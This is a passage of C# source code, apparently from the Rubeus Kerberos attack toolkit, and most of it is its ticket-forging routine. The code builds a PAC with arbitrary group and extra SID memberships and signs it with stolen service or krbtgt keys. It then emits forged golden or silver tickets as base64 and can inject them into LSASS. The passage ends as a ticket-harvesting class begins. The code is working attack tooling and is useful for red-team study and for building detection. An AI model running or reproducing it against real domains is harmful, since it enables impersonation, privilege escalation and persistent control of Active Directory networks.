System.DirectoryServices.ActiveDirectory.Forest, assuming {0} is the forest root", domain); 428 | forestRoot = domain; 429 | } 430 | 431 | string configRootDomain = domain; 432 | if (!domain.Equals(forestRoot)) 433 | configRootDomain = forestRoot; 434 | 435 | string configOU = String.Format("CN=Configuration,DC={0}", configRootDomain.Replace(".", ",DC=")); 436 | 437 | adObjects = Networking.GetLdapQuery(ldapCred, configOU, domainController, domain, String.Format("(&(netbiosname=*)(dnsroot={0}))", domain), ssl); 438 | if (adObjects == null) 439 | { 440 | Console.WriteLine("[!] Unable to get netbios name information using LDAP, using defaults."); 441 | } 442 | else 443 | { 444 | foreach (var o in adObjects) 445 | { 446 | if (o.ContainsKey("netbiosname")) 447 | { 448 | kvi.LogonDomainName = new Ndr._RPC_UNICODE_STRING((string)o["netbiosname"]); 449 | } 450 | } 451 | } 452 | } 453 | 454 | // set the rest of the PAC fields 455 | if (userObject.ContainsKey("displayname")) 456 | { 457 | kvi.FullName = new Ndr._RPC_UNICODE_STRING((string)userObject["displayname"]); 458 | } 459 | 460 | if (String.IsNullOrEmpty(sid)) 461 | { 462 | kvi.LogonDomainId = new Ndr._RPC_SID(new SecurityIdentifier(domainSid)); 463 | } 464 | kvi.LogonCount = short.Parse((string)userObject["logoncount"]); 465 | kvi.BadPasswordCount = short.Parse((string)userObject["badpwdcount"]); 466 | if ((DateTime)userObject["lastlogon"] != DateTime.MinValue) 467 | { 468 | kvi.LogonTime = new Ndr._FILETIME((DateTime)userObject["lastlogon"]); 469 | } 470 | if ((DateTime)userObject["lastlogoff"] != DateTime.MinValue) 471 | { 472 | kvi.LogoffTime = new Ndr._FILETIME((DateTime)userObject["lastlogoff"]); 473 | } 474 | if ((DateTime)userObject["pwdlastset"] != DateTime.MinValue) 475 | { 476 | kvi.PasswordLastSet = new Ndr._FILETIME((DateTime)userObject["pwdlastset"]); 477 | } 478 | kvi.PrimaryGroupId = Int32.Parse((string)userObject["primarygroupid"]); 479 | kvi.UserId = Int32.Parse(objectSid.Substring(objectSid.LastIndexOf('-') + 1)); 480 | if (userObject.ContainsKey("homedirectory")) 481 | { 482 | kvi.HomeDirectory = new Ndr._RPC_UNICODE_STRING((string)userObject["homedirectory"]); 483 | } 484 | if (userObject.ContainsKey("homedrive")) 485 | { 486 | kvi.HomeDirectoryDrive = new Ndr._RPC_UNICODE_STRING((string)userObject["homedrive"]); 487 | } 488 | if (userObject.ContainsKey("profilepath")) 489 | { 490 | kvi.ProfilePath = new Ndr._RPC_UNICODE_STRING((string)userObject["profilepath"]); 491 | } 492 | if (userObject.ContainsKey("scriptpath")) 493 | { 494 | kvi.LogonScript = new Ndr._RPC_UNICODE_STRING((string)userObject["scriptpath"]); 495 | } 496 | 497 | } 498 | 499 | } 500 | else if (String.IsNullOrEmpty(sid)) 501 | { 502 | Console.WriteLine("[X] To forge tickets without specifying '/ldap', '/sid' is required."); 503 | return; 504 | } 505 | 506 | // initialize some structures 507 | KRB_CRED cred = new KRB_CRED(); 508 | KrbCredInfo info = new KrbCredInfo(); 509 | 510 | Console.WriteLine("[*] Building PAC"); 511 | 512 | // overwrite any LogonInfo fields here sections 513 | if (!String.IsNullOrEmpty(netbiosName)) 514 | { 515 | kvi.LogonDomainName = new Ndr._RPC_UNICODE_STRING(netbiosName); 516 | } 517 | if (!String.IsNullOrEmpty(sid)) 518 | { 519 | kvi.LogonDomainId = new Ndr._RPC_SID(new SecurityIdentifier(sid)); 520 | } 521 | if (!String.IsNullOrEmpty(groups)) 522 | { 523 | List allGroups = new List(); 524 | foreach (string gid in groups.Split(',')) 525 | { 526 | try 527 | { 528 | allGroups.Add(Int32.Parse(gid)); 529 | } 530 | catch (Exception e) 531 | { 532 | Console.WriteLine("[X] Error unable to parse group id {0}: {1}", gid, e.Message); 533 | } 534 | } 535 | if ((pGid != null) && !allGroups.Contains((int)pGid)) 536 | allGroups.Add((int)pGid); 537 | int numOfGroups = allGroups.Count; 538 | kvi.GroupCount = numOfGroups; 539 | kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[numOfGroups]; 540 | c = 0; 541 | foreach (int gid in allGroups) 542 | { 543 | Array.Copy(new Ndr._GROUP_MEMBERSHIP[] { new Ndr._GROUP_MEMBERSHIP(gid, 7) }, 0, kvi.GroupIds, c, 1); 544 | c += 1; 545 | } 546 | } 547 | if (!String.IsNullOrEmpty(sids)) 548 | { 549 | int numOfSids = sids.Split(',').Length; 550 | kvi.SidCount = numOfSids; 551 | kvi.ExtraSids = new Ndr._KERB_SID_AND_ATTRIBUTES[numOfSids]; 552 | c = 0; 553 | foreach (string s in sids.Split(',')) 554 | { 555 | Array.Copy(new Ndr._KERB_SID_AND_ATTRIBUTES[] { new Ndr._KERB_SID_AND_ATTRIBUTES(new Ndr._RPC_SID(new SecurityIdentifier(s)), 7) }, 0, kvi.ExtraSids, c, 1); 556 | c += 1; 557 | } 558 | } 559 | if (!String.IsNullOrEmpty(resourceGroupSid) && (resourceGroups != null)) 560 | { 561 | try 562 | { 563 | kvi.ResourceGroupDomainSid = new Ndr._RPC_SID(new SecurityIdentifier(resourceGroupSid)); 564 | kvi.ResourceGroupCount = resourceGroups.Count; 565 | kvi.ResourceGroupIds = new Ndr._GROUP_MEMBERSHIP[resourceGroups.Count]; 566 | c = 0; 567 | foreach (int rgroup in resourceGroups) 568 | { 569 | Array.Copy(new Ndr._GROUP_MEMBERSHIP[] { new Ndr._GROUP_MEMBERSHIP(rgroup, 7) }, 0, kvi.ResourceGroupIds, c, 1); 570 | c += 1; 571 | } 572 | } 573 | catch 574 | { 575 | 576 | } 577 | } 578 | if (kvi.SidCount > 0) 579 | { 580 | kvi.UserFlags = kvi.UserFlags | (int)Interop.PacUserFlags.EXTRA_SIDS; 581 | } 582 | if (kvi.ResourceGroupCount > 0) 583 | { 584 | kvi.UserFlags = kvi.UserFlags | (int)Interop.PacUserFlags.RESOURCE_GROUPS; 585 | } 586 | if (!String.IsNullOrEmpty(domainController)) 587 | { 588 | string dcName = Networking.GetDCNameFromIP(domainController); 589 | if (dcName != null) 590 | { 591 | kvi.LogonServer = new Ndr._RPC_UNICODE_STRING(domainController.Substring(0, domainController.IndexOf('.')).ToUpper()); 592 | } 593 | } 594 | if (!String.IsNullOrEmpty(displayName)) 595 | { 596 | kvi.FullName = new Ndr._RPC_UNICODE_STRING(displayName); 597 | } 598 | if (logonCount != null) 599 | { 600 | kvi.LogonCount = (short)logonCount; 601 | } 602 | if (badPwdCount != null) 603 | { 604 | kvi.BadPasswordCount = (short)badPwdCount; 605 | } 606 | if (lastLogon != null) 607 | { 608 | kvi.LogonTime = new Ndr._FILETIME((DateTime)lastLogon); 609 | } 610 | if (logoffTime != null) 611 | { 612 | kvi.LogoffTime = new Ndr._FILETIME((DateTime)logoffTime); 613 | } 614 | if (pwdLastSet != null) 615 | { 616 | kvi.PasswordLastSet = new Ndr._FILETIME((DateTime)pwdLastSet); 617 | } 618 | if (origMinPassAge != null) 619 | { 620 | try 621 | { 622 | DateTime passLastSet = DateTime.FromFileTimeUtc((long)kvi.PasswordLastSet.LowDateTime | ((long)kvi.PasswordLastSet.HighDateTime << 32)); 623 | if (minPassAge > 0) 624 | { 625 | kvi.PasswordCanChange = new Ndr._FILETIME(passLastSet.AddDays((double)minPassAge)); 626 | } 627 | } 628 | catch 629 | { 630 | Console.WriteLine("[!] Something went wrong setting the PasswordCanChange field, perhaps PasswordLastSet is not configured properly"); 631 | } 632 | } 633 | if (origMaxPassAge != null && (((Interop.PacUserAccountControl)kvi.UserAccountControl & Interop.PacUserAccountControl.DONT_EXPIRE_PASSWORD) == 0)) 634 | { 635 | try 636 | { 637 | DateTime passLastSet = DateTime.FromFileTimeUtc((long)kvi.PasswordLastSet.LowDateTime | ((long)kvi.PasswordLastSet.HighDateTime << 32)); 638 | if (maxPassAge > 0) 639 | { 640 | kvi.PasswordMustChange = new Ndr._FILETIME(passLastSet.AddDays((double)maxPassAge)); 641 | } 642 | } 643 | catch 644 | { 645 | Console.WriteLine("[!] Something went wrong setting the PasswordMustChange field, perhaps PasswordLastSet is not configured properly"); 646 | } 647 | } 648 | if (id != null) 649 | { 650 | kvi.UserId = (int)id; 651 | } 652 | if (pGid != null) 653 | { 654 | kvi.PrimaryGroupId = (int)pGid; 655 | } 656 | if (!String.IsNullOrEmpty(homeDir)) 657 | { 658 | kvi.HomeDirectory = new Ndr._RPC_UNICODE_STRING(homeDir); 659 | } 660 | if (!String.IsNullOrEmpty(homeDrive)) 661 | { 662 | kvi.HomeDirectoryDrive = new Ndr._RPC_UNICODE_STRING(homeDrive); 663 | } 664 | if (!String.IsNullOrEmpty(profilePath)) 665 | { 666 | kvi.ProfilePath = new Ndr._RPC_UNICODE_STRING(profilePath); 667 | } 668 | if (!String.IsNullOrEmpty(scriptPath)) 669 | { 670 | kvi.LogonScript = new Ndr._RPC_UNICODE_STRING(scriptPath); 671 | } 672 | 673 | 674 | // generate a random session key, encryption type and checksum types 675 | Random random = new Random(); 676 | byte[] randKeyBytes; 677 | SignatureData svrSigData = new SignatureData(PacInfoBufferType.ServerChecksum); 678 | SignatureData kdcSigData = new SignatureData(PacInfoBufferType.KDCChecksum); 679 | int svrSigLength = 12, kdcSigLength = 12; 680 | if (etype == Interop.KERB_ETYPE.rc4_hmac) 681 | { 682 | randKeyBytes = new byte[16]; 683 | random.NextBytes(randKeyBytes); 684 | svrSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5; 685 | kdcSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5; 686 | svrSigLength = 16; 687 | kdcSigLength = 16; 688 | } 689 | else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) 690 | { 691 | randKeyBytes = new byte[32]; 692 | random.NextBytes(randKeyBytes); 693 | svrSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; 694 | kdcSigData.SignatureType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; 695 | } 696 | else 697 | { 698 | Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!"); 699 | return; 700 | } 701 | 702 | // if the krbtgt key is specified, use the checksum type also specified 703 | if (krbKey != null) 704 | { 705 | kdcSigData.SignatureType = krbeType; 706 | if ((krbeType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256) || (krbeType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128)) 707 | { 708 | kdcSigLength = 12; 709 | } 710 | else 711 | { 712 | kdcSigLength = 16; 713 | } 714 | } 715 | 716 | // set krbKey to serviceKey if none is given 717 | if (krbKey == null) 718 | { 719 | krbKey = serviceKey; 720 | } 721 | 722 | // output some ticket information relevent to all tickets generated 723 | Console.WriteLine(""); 724 | Console.WriteLine("[*] Domain : {0} ({1})", domain.ToUpper(), kvi.LogonDomainName); 725 | Console.WriteLine("[*] SID : {0}", kvi.LogonDomainId?.GetValue()); 726 | Console.WriteLine("[*] UserId : {0}", kvi.UserId); 727 | if (kvi.GroupCount > 0) 728 | { 729 | Console.WriteLine("[*] Groups : {0}", kvi.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); 730 | } 731 | if (kvi.SidCount > 0) 732 | { 733 | Console.WriteLine("[*] ExtraSIDs : {0}", kvi.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next)); 734 | } 735 | Console.WriteLine("[*] ServiceKey : {0}", Helpers.ByteArrayToString(serviceKey)); 736 | Console.WriteLine("[*] ServiceKeyType : {0}", svrSigData.SignatureType); 737 | Console.WriteLine("[*] KDCKey : {0}", Helpers.ByteArrayToString(krbKey)); 738 | Console.WriteLine("[*] KDCKeyType : {0}", kdcSigData.SignatureType); 739 | Console.WriteLine("[*] Service : {0}", parts[0]); 740 | Console.WriteLine("[*] Target : {0}", parts[1]); 741 | Console.WriteLine(""); 742 | 743 | // loop incase we need to generate multiple tickets as everything below this are effected 744 | do 745 | { 746 | // Create PacInfoBuffers 747 | kvi.LogonTime = new Ndr._FILETIME((DateTime)startTime); 748 | LogonInfo li = new LogonInfo(kvi); 749 | 750 | if (String.IsNullOrEmpty(cName)) 751 | cName = user; 752 | if (String.IsNullOrEmpty(cRealm)) 753 | cRealm = domain; 754 | 755 | ClientName cn = null; 756 | if (parts[0].Equals("krbtgt") && !cRealm.Equals(domain)) 757 | cn = new ClientName((DateTime)startTime, String.Format("{0}@{1}@{1}", user, domain.ToUpper())); 758 | else 759 | cn = new ClientName((DateTime)startTime, user); 760 | 761 | UpnDns upnDns = new UpnDns(0, domain.ToUpper(), String.Format("{0}@{1}", user, domain.ToLower())); 762 | 763 | S4UDelegationInfo s4u = null; 764 | if (!String.IsNullOrEmpty(s4uProxyTarget) && !String.IsNullOrEmpty(s4uTransitedServices)) 765 | { 766 | s4u = new S4UDelegationInfo(s4uProxyTarget, s4uTransitedServices.Split(',')); 767 | } 768 | 769 | Console.WriteLine("[*] Generating EncTicketPart"); 770 | 771 | EncTicketPart decTicketPart = new EncTicketPart(randKeyBytes, etype, cRealm.ToUpper(), cName, flags, cn.ClientId); 772 | 773 | // set other times in EncTicketPart 774 | DateTime? check = null; 775 | decTicketPart.authtime = (DateTime)authTime; 776 | if (!String.IsNullOrEmpty(endTime)) 777 | { 778 | check = Helpers.FutureDate((DateTime)startTime, endTime); 779 | if (check != null) 780 | { 781 | decTicketPart.endtime = (DateTime)check; 782 | } 783 | } 784 | if (!String.IsNullOrEmpty(renewTill)) 785 | { 786 | check = Helpers.FutureDate((DateTime)startTime, renewTill); 787 | if (check != null) 788 | { 789 | decTicketPart.renew_till = (DateTime)check; 790 | } 791 | } 792 | 793 | if (decTicketPart.authorization_data == null) 794 | { 795 | decTicketPart.authorization_data = new List(); 796 | } 797 | 798 | // generate blank PAC for TicketChecksum for service tickets 799 | SignatureData ticketSigData = null; 800 | if (!(parts[0].Equals("krbtgt") && parts[1].Equals(domain))) 801 | { 802 | ticketSigData = new SignatureData(PacInfoBufferType.TicketChecksum); 803 | ticketSigData.SignatureType = kdcSigData.SignatureType; 804 | ADIfRelevant ifrelevant = new ADIfRelevant(); 805 | ADWin2KPac win2KPac = new ADWin2KPac(); 806 | win2KPac.Pac = null; 807 | win2KPac.ad_data = new byte[] { 0x00 }; 808 | decTicketPart.authorization_data.Add(new ADIfRelevant(win2KPac)); 809 | } 810 | 811 | // set extra AuthorizationData sections 812 | if (includeAuthData) 813 | { 814 | ADIfRelevant ifrelevant = new ADIfRelevant(); 815 | ADRestrictionEntry restrictions = new ADRestrictionEntry(); 816 | ADKerbLocal kerbLocal = new ADKerbLocal(); 817 | ifrelevant.ADData.Add(restrictions); 818 | ifrelevant.ADData.Add(kerbLocal); 819 | decTicketPart.authorization_data.Add(ifrelevant); 820 | } 821 | 822 | // now we have the extra auth data sections, calculate TicketChecksum 823 | if (!(parts[0].Equals("krbtgt") && parts[1].Equals(domain))) 824 | { 825 | ticketSigData.Signature = decTicketPart.CalculateTicketChecksum(krbKey, kdcSigData.SignatureType); 826 | } 827 | 828 | Attributes attrib = null; 829 | Requestor requestor = null; 830 | if (newPac) 831 | { 832 | attrib = new Attributes(); 833 | requestor = new Requestor(String.Format("{0}-{1}", li.KerbValidationInfo.LogonDomainId?.GetValue(), li.KerbValidationInfo.UserId)); 834 | } 835 | 836 | // clear signatures 837 | Console.WriteLine("[*] Signing PAC"); 838 | svrSigData.Signature = new byte[svrSigLength]; 839 | kdcSigData.Signature = new byte[kdcSigLength]; 840 | Array.Clear(svrSigData.Signature, 0, svrSigLength); 841 | Array.Clear(kdcSigData.Signature, 0, kdcSigLength); 842 | 843 | // add sections to the PAC, get bytes and generate checksums 844 | List PacInfoBuffers = new List(); 845 | if (s4u != null) 846 | { 847 | PacInfoBuffers.Add(s4u); 848 | } 849 | PacInfoBuffers.Add(li); 850 | PacInfoBuffers.Add(cn); 851 | PacInfoBuffers.Add(upnDns); 852 | if (newPac) 853 | { 854 | PacInfoBuffers.Add(attrib); 855 | PacInfoBuffers.Add(requestor); 856 | } 857 | PacInfoBuffers.Add(svrSigData); 858 | PacInfoBuffers.Add(kdcSigData); 859 | if (ticketSigData != null) 860 | { 861 | PacInfoBuffers.Add(ticketSigData); 862 | } 863 | PACTYPE pt = new PACTYPE(0, PacInfoBuffers); 864 | byte[] ptBytes = pt.Encode(); 865 | byte[] svrSig = Crypto.KerberosChecksum(serviceKey, ptBytes, svrSigData.SignatureType); 866 | byte[] kdcSig = Crypto.KerberosChecksum(krbKey, svrSig, kdcSigData.SignatureType); 867 | 868 | // add checksums 869 | svrSigData.Signature = svrSig; 870 | kdcSigData.Signature = kdcSig; 871 | PacInfoBuffers = new List(); 872 | if (s4u != null) 873 | { 874 | PacInfoBuffers.Add(s4u); 875 | } 876 | PacInfoBuffers.Add(li); 877 | PacInfoBuffers.Add(cn); 878 | PacInfoBuffers.Add(upnDns); 879 | if (newPac) 880 | { 881 | PacInfoBuffers.Add(attrib); 882 | PacInfoBuffers.Add(requestor); 883 | } 884 | PacInfoBuffers.Add(svrSigData); 885 | PacInfoBuffers.Add(kdcSigData); 886 | if (ticketSigData != null) 887 | { 888 | PacInfoBuffers.Add(ticketSigData); 889 | } 890 | pt = new PACTYPE(0, PacInfoBuffers); 891 | 892 | // add the PAC to the ticket 893 | decTicketPart.SetPac(pt); 894 | 895 | 896 | // encrypt the EncTicketPart 897 | Console.WriteLine("[*] Encrypting EncTicketPart"); 898 | byte[] encTicketData = decTicketPart.Encode().Encode(); 899 | byte[] encTicketPart = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, serviceKey, encTicketData); 900 | 901 | // initialize the ticket and add the enc_part 902 | Console.WriteLine("[*] Generating Ticket"); 903 | Ticket ticket = new Ticket(domain.ToUpper(), sname); 904 | ticket.enc_part = new EncryptedData((Int32)etype, encTicketPart, 3); 905 | 906 | // add the ticket 907 | cred.tickets.Add(ticket); 908 | 909 | // [0] add in the session key 910 | info.key.keytype = (int)etype; 911 | info.key.keyvalue = randKeyBytes; 912 | 913 | // [1] prealm (domain) 914 | info.prealm = ticket.realm; 915 | 916 | // [2] pname (user) 917 | info.pname.name_type = decTicketPart.cname.name_type; 918 | info.pname.name_string = decTicketPart.cname.name_string; 919 | 920 | // [3] flags 921 | info.flags = flags; 922 | 923 | // [4] authtime (not required) 924 | info.authtime = decTicketPart.authtime; 925 | 926 | // [5] starttime 927 | info.starttime = decTicketPart.starttime; 928 | 929 | // [6] endtime 930 | info.endtime = decTicketPart.endtime; 931 | 932 | // [7] renew-till 933 | info.renew_till = decTicketPart.renew_till; 934 | 935 | // [8] srealm 936 | info.srealm = ticket.realm; 937 | 938 | // [9] sname 939 | info.sname.name_type = ticket.sname.name_type; 940 | info.sname.name_string = ticket.sname.name_string; 941 | 942 | // add the ticket_info into the cred object 943 | cred.enc_part.ticket_info.Add(info); 944 | 945 | Console.WriteLine("[*] Generated KERB-CRED"); 946 | 947 | 948 | 949 | byte[] kirbiBytes = cred.Encode().Encode(); 950 | 951 | string kirbiString = Convert.ToBase64String(kirbiBytes); 952 | 953 | if (parts[0] == "krbtgt") 954 | { 955 | Console.WriteLine("[*] Forged a TGT for '{0}@{1}'", info.pname.name_string[0], domain); 956 | } 957 | else 958 | { 959 | Console.WriteLine("[*] Forged a TGS for '{0}' to '{1}'", info.pname.name_string[0], sname); 960 | } 961 | Console.WriteLine(""); 962 | 963 | // dates unique to this ticket 964 | Console.WriteLine("[*] AuthTime : {0}", decTicketPart.authtime.ToLocalTime().ToString(CultureInfo.CurrentCulture)); 965 | Console.WriteLine("[*] StartTime : {0}", decTicketPart.starttime.ToLocalTime().ToString(CultureInfo.CurrentCulture)); 966 | Console.WriteLine("[*] EndTime : {0}", decTicketPart.endtime.ToLocalTime().ToString(CultureInfo.CurrentCulture)); 967 | Console.WriteLine("[*] RenewTill : {0}", decTicketPart.renew_till.ToLocalTime().ToString(CultureInfo.CurrentCulture)); 968 | 969 | Console.WriteLine(""); 970 | 971 | Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); 972 | 973 | if (false) 974 | { 975 | // display the .kirbi base64, columns of 80 chararacters 976 | foreach (string line in Helpers.Split(kirbiString, 80)) 977 | { 978 | Console.WriteLine(" {0}", line); 979 | } 980 | } 981 | else 982 | { 983 | Console.WriteLine(" {0}", kirbiString); 984 | } 985 | 986 | Console.WriteLine(""); 987 | 988 | if (!String.IsNullOrEmpty(outfile)) 989 | { 990 | DateTime fileTime = (DateTime)startTime; 991 | string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{fileTime.ToString("yyyy_MM_dd_HH_mm_ss")}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; 992 | filename = Helpers.MakeValidFileName(filename); 993 | if (Helpers.WriteBytesToFile(filename, kirbiBytes)) 994 | { 995 | Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); 996 | } 997 | } 998 | 999 | Console.WriteLine(""); 1000 | 1001 | if (ptt) 1002 | { 1003 | // pass-the-ticket -> import into LSASS 1004 | LSA.ImportTicket(kirbiBytes, new LUID()); 1005 | } 1006 | 1007 | // increase startTime by rangeInterval 1008 | startTime = Helpers.FutureDate((DateTime)startTime, rangeInterval); 1009 | if (startTime == null) 1010 | { 1011 | Console.WriteLine("[!] Invalid /rangeinterval passed, skipping multiple ticket generation: {0}", rangeInterval); 1012 | startTime = rangeEnd; 1013 | } 1014 | authTime = startTime; 1015 | 1016 | } while (startTime < rangeEnd); 1017 | 1018 | if (printcmd) 1019 | { 1020 | // print command to be able to recreate a ticket with this information 1021 | string cmdOut = String.Format("{0}", System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName); 1022 | 1023 | // deal with differences between golden and silver 1024 | if (parts[0].Equals("krbtgt") && parts[1].Equals(domain)) 1025 | { 1026 | cmdOut = String.Format("{0} golden", cmdOut, Helpers.ByteArrayToString(serviceKey)); 1027 | } 1028 | else 1029 | { 1030 | string krbEncType = ""; 1031 | if (kdcSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5)) 1032 | { 1033 | krbEncType = "rc4"; 1034 | } 1035 | else if (kdcSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128)) 1036 | { 1037 | krbEncType = "aes128"; 1038 | } 1039 | else if (kdcSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256)) 1040 | { 1041 | krbEncType = "aes256"; 1042 | } 1043 | cmdOut = String.Format("{0} silver /service:{1} /krbkey:{2} /kebenctype:{3}", cmdOut, sname, Helpers.ByteArrayToString(krbKey), krbEncType); 1044 | } 1045 | 1046 | // add the service key 1047 | string svrEncType = ""; 1048 | if (svrSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5)) 1049 | { 1050 | svrEncType = "rc4"; 1051 | } 1052 | else if (svrSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128)) 1053 | { 1054 | svrEncType = "aes128"; 1055 | } 1056 | else if (svrSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256)) 1057 | { 1058 | svrEncType = "aes256"; 1059 | } 1060 | cmdOut = String.Format("{0} /{1}:{2}", cmdOut, svrEncType, Helpers.ByteArrayToString(serviceKey)); 1061 | 1062 | // add the rest of the values 1063 | cmdOut = String.Format("{0} /user:{1} /id:{2} /pgid:{3} /domain:{4} /sid:{5}", cmdOut, user, kvi.UserId, kvi.PrimaryGroupId, domain, kvi.LogonDomainId.GetValue()); 1064 | try 1065 | { 1066 | cmdOut = String.Format("{0} /logofftime:\"{1}\"", cmdOut, DateTime.FromFileTimeUtc((long)kvi.LogoffTime.LowDateTime | ((long)kvi.LogoffTime.HighDateTime << 32)).ToLocalTime()); 1067 | } 1068 | catch { } 1069 | try 1070 | { 1071 | cmdOut = String.Format("{0} /pwdlastset:\"{1}\"", cmdOut, DateTime.FromFileTimeUtc((long)kvi.PasswordLastSet.LowDateTime | ((long)kvi.PasswordLastSet.HighDateTime << 32)).ToLocalTime()); 1072 | } 1073 | catch { } 1074 | if (minPassAge != null && minPassAge > 0) 1075 | { 1076 | cmdOut = String.Format("{0} /minpassage:{1}", cmdOut, minPassAge); 1077 | } 1078 | if (maxPassAge != null && maxPassAge > 0) 1079 | { 1080 | cmdOut = String.Format("{0} /maxpassage:{1}", cmdOut, maxPassAge); 1081 | } 1082 | if (kvi.BadPasswordCount > 0) 1083 | { 1084 | cmdOut = String.Format("{0} /badpwdcount:{1}", cmdOut, kvi.BadPasswordCount); 1085 | } 1086 | if (kvi.LogonCount > 0) 1087 | { 1088 | cmdOut = String.Format("{0} /logoncount:{1}", cmdOut, kvi.LogonCount); 1089 | } 1090 | if (!String.IsNullOrEmpty(kvi.FullName.ToString())) 1091 | { 1092 | cmdOut = String.Format("{0} /displayname:\"{1}\"", cmdOut, kvi.FullName.ToString()); 1093 | } 1094 | if (!String.IsNullOrEmpty(kvi.LogonScript.ToString())) 1095 | { 1096 | cmdOut = String.Format("{0} /scriptpath:\"{1}\"", cmdOut, kvi.LogonScript.ToString()); 1097 | } 1098 | if (!String.IsNullOrEmpty(kvi.ProfilePath.ToString())) 1099 | { 1100 | cmdOut = String.Format("{0} /profilepath:\"{1}\"", cmdOut, kvi.ProfilePath.ToString()); 1101 | } 1102 | if (!String.IsNullOrEmpty(kvi.HomeDirectory.ToString())) 1103 | { 1104 | cmdOut = String.Format("{0} /homedir:\"{1}\"", cmdOut, kvi.HomeDirectory.ToString()); 1105 | } 1106 | if (!String.IsNullOrEmpty(kvi.HomeDirectoryDrive.ToString())) 1107 | { 1108 | cmdOut = String.Format("{0} /homedrive:\"{1}\"", cmdOut, kvi.HomeDirectoryDrive.ToString()); 1109 | } 1110 | if (!String.IsNullOrEmpty(kvi.LogonDomainName.ToString())) 1111 | { 1112 | cmdOut = String.Format("{0} /netbios:{1}", cmdOut, kvi.LogonDomainName.ToString()); 1113 | } 1114 | if (kvi.GroupCount > 0) 1115 | { 1116 | cmdOut = String.Format("{0} /groups:{1}", cmdOut, kvi.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); 1117 | } 1118 | if (kvi.SidCount > 0) 1119 | { 1120 | cmdOut = String.Format("{0} /sids:{1}", cmdOut, kvi.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next)); 1121 | } 1122 | if (kvi.ResourceGroupCount > 0) 1123 | { 1124 | cmdOut = String.Format("{0} /resourcegroupsid:{1} /resourcegroups:{2}", cmdOut, kvi.ResourceGroupDomainSid.GetValue().ToString(), kvi.ResourceGroupIds.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); 1125 | } 1126 | if (!String.IsNullOrEmpty(kvi.LogonServer.ToString())) 1127 | { 1128 | cmdOut = String.Format("{0} /dc:{1}.{2}", cmdOut, kvi.LogonServer.ToString(), domain); 1129 | } 1130 | if ((Interop.PacUserAccountControl)kvi.UserAccountControl != Interop.PacUserAccountControl.NORMAL_ACCOUNT) 1131 | { 1132 | cmdOut = String.Format("{0} /uac:{1}", cmdOut, String.Format("{0}", (Interop.PacUserAccountControl)kvi.UserAccountControl).Replace(" ", "")); 1133 | } 1134 | if (!user.Equals(cName)) 1135 | { 1136 | cmdOut = String.Format("{0} /cname:{1}", cmdOut, cName); 1137 | } 1138 | if (!String.IsNullOrEmpty(s4uProxyTarget) && !String.IsNullOrEmpty(s4uTransitedServices)) 1139 | { 1140 | cmdOut = String.Format("{0} /s4uproxytarget:{1} /s4utransitiedservices:{2}", cmdOut, s4uProxyTarget, s4uTransitedServices); 1141 | } 1142 | if (includeAuthData) 1143 | { 1144 | cmdOut = String.Format("{0} /authdata", cmdOut); 1145 | } 1146 | 1147 | // print the command 1148 | Console.WriteLine("\r\n[*] Printing a command to recreate a ticket containing the information used within this ticket\r\n\r\n{0}\r\n", cmdOut); 1149 | } 1150 | } 1151 | } 1152 | } 1153 | -------------------------------------------------------------------------------- /lib/Harvest.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Threading; 4 | using Rubeus.lib.Interop; 5 | 6 | namespace Rubeus 7 | { 8 | public class Harvest 9 | { 10 | private readonly List harvesterTicketCache = new List(); 11 | private readonly int monitorIntervalSeconds; 12 | private readonly int displayIntervalSeconds; 13 | private readonly string targetUser; 14 | private readonly bool renewTickets; 15 | private readonly string registryBasePath; 16 | private readonly bool nowrap; 17 | private readonly int runFor; 18 | private DateTime lastDisplay; 19 | private DateTime collectionStart; 20 | 21 | public Harvest(int monitorIntervalSeconds, int displayIntervalSeconds, bool renewTickets, string targetUser, string registryBasePath, bool nowrap, int runFor) 22 | { 23 | this.monitorIntervalSeconds = monitorIntervalSeconds; 24 | this.displayIntervalSeconds = displayIntervalSeconds; 25 | this.renewTickets = renewTickets; 26 | this.targetUser = targetUser; 27 | this.registryBasePath = registryBasePath; 28 | this.lastDisplay = DateTime.Now; 29 | this.collectionStart = DateTime.Now; 30 | this.nowrap = nowrap; 31 